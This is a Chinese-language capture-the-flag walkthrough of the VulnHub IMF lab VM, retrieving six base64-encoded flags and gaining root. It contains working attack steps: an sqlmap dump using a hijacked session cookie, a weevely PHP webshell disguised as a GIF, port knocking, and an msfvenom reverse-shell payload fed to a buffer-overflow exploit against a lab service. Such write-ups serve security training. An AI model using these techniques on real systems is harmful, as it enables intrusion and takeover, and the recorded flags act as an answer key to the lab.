VulnHub-IMF
靶机地址:
目标:得到root权限&找到6个flag.txt
作者:尼德霍格007
时间:2021-7-23
信息收集
扫描目标主机
nmap -sP 192.168.21.0/24
扫描开放端口
发现只开放了80端口,访问看看
flag1
在Contact Us页面源码中发现flag1
flag1{YWxsdGhlZmlsZXM=}
大括号内是是一个base64值,解密一下
allthefiles
继续搜索看看还有没有base64值,搜到还有,继续解码
flag2
这里解密完发现不太对,第30、31和32行的拼接到一块儿才是base64密文
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
解密
得到flag2
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
继续解密
aW1mYWRtaW5pc3RyYXRvcg==
得到
imfadministrator
可能是目录,访问一下试试
第一个allthefiles不是,试试第二个imfadministrator
是一个登陆页面,查看源码
没啥有用信息,回到之前的Contact Us页面,看到三个用户名
试试登陆,burpsuite抓包密码设为空数组,如下图
flag3
得到flag3
flag3{Y29udGludWVUT2Ntcw==}
解密得到
continueTOcms
点击访问上图中的IMF CMS
看到页面链接是带有?的,疑似存在SQL注入
验证一下,页面链接后加个单引号
如上图所示,数据库报错,确实存在SQl注入漏洞
这种情况就直接使用sqlmap进行注入,但是这里是在登陆成功之后才有的注入点,所以注入时要带有登陆成功的Cookie,这里把前面的burpsuite的cookie复制下来
使用sqlmap --cookie参数进行注入
sqlmap -u 'http://192.168.21.144/imfadministrator/cms.php?pagename=disavowlist' --cookie 'PHPSESSID=477nnqbpntd9vvnmeit8h624s5' --dump all
根据注入的结果,获得了一张图片的路径,查看一下
flag4
http://192.168.21.144/imfadministrator/images/whiteboard.jpg
有个二维码,扫描结果是
flag4{dXBsb2Fkcjk0Mi5waHA=}
解密得到
uploadr942.php
获取shell
像是个目录,访问
是个文件上传页面
我这里试了一下,发现好像只能上传jpg、png、gif文件,考虑制作一个带木马的图片上传试试
使用工具weevely生成一个PHP木马文件,密码hello
试着上传这个文件,上传失败
将生成的muma.php改名为muma.gif,头部加上GIF98a,目的是骗过检测,让他以为这是一张gif图片。随意添加GIF数值(我这里写了22333),保存
然后上传这个文件,上传成功
查看页面源码,返回值:b533cd00f6f4
这是gif文件上传到服务器的文件名称b533cd00f6f4
使用weevely连接
weevely http://192.168.21.144/imfadministrator/uploads/b533cd00f6f4.gif hello
连接成功
flag5
获得flag5
flag5{YWdlbnRzZXJ2aWNlcw==}
解密得到
agentservices
提示为代理服务
通过提示在靶机中查询agent运行的文件
find / -name agent &>1/dev/unll
&>1/dev/unll:将错误输出到/dev/unll,只显示正确结果
在这两个目录下有agnet文件
进入bin目录,发现两个文件
查看access_codes,提示SYN 7482,8279,9467(同步序列编号)
查看端口,端口7788也有代理在运行
提示端口试探,使用knock命令敲门
安装knock
git clone https://github.com/grongor/knock.git
敲门
重新扫描端口
这样就敲开了靶机的7788端口
nc连接一下,要agent ID
前面我们运行/usr/local/bin目录下的agent会需要输入ID
所以我们从这里入手
先把这个agent文件传到kali本地
file_download /usr/local/bin/agent /root/agent
加执行权限
使用ltrace跟踪agent在执行过程中调用库函数的情况
ltrace ./agent
输入任意参数,有个返回值,这是正确的agent ID
再次执行,输入正确ID
有3个选项
-
提取分
-
请求提取
-
提交报告
四、提权
看来通过缓冲区溢出agent进程获得root权限了
为agent进程创建一个shell
使用msfvenom创建一个shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.21.128 LPORT=6666 -f python -b "\x00\x0a\x0d"
-p 选择payload(此次因为agent是32位,所以使用X86
LHOST 、LPORT 监测主机IP和端口
-f 指定生成xxx格式
-b 在生成的程序中避免出现的值
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
使用大佬写的py脚本,将生成的内容,替换python脚本内容
https://github.com/jessekurrus/agentsploit
nc监听6666端口
执行脚本
python agentsploit.py 192.168.21.144 7788
成功获得root权限
flag6
获得flag6
flag6{R2gwc3RQcm90MGMwbHM=}
base64解密
Gh0stProt0c0ls
总结
前面的flag还挺好找的,从熟悉BP、写木马、gdb拆解、二进制等等。到了后面关于缓冲区溢出方面的难度就很大,接触的比较少,这里卡了好几天,才基本明白一点利用方式和原理,也是自己薄弱的地方,还需要大量的时间去理解。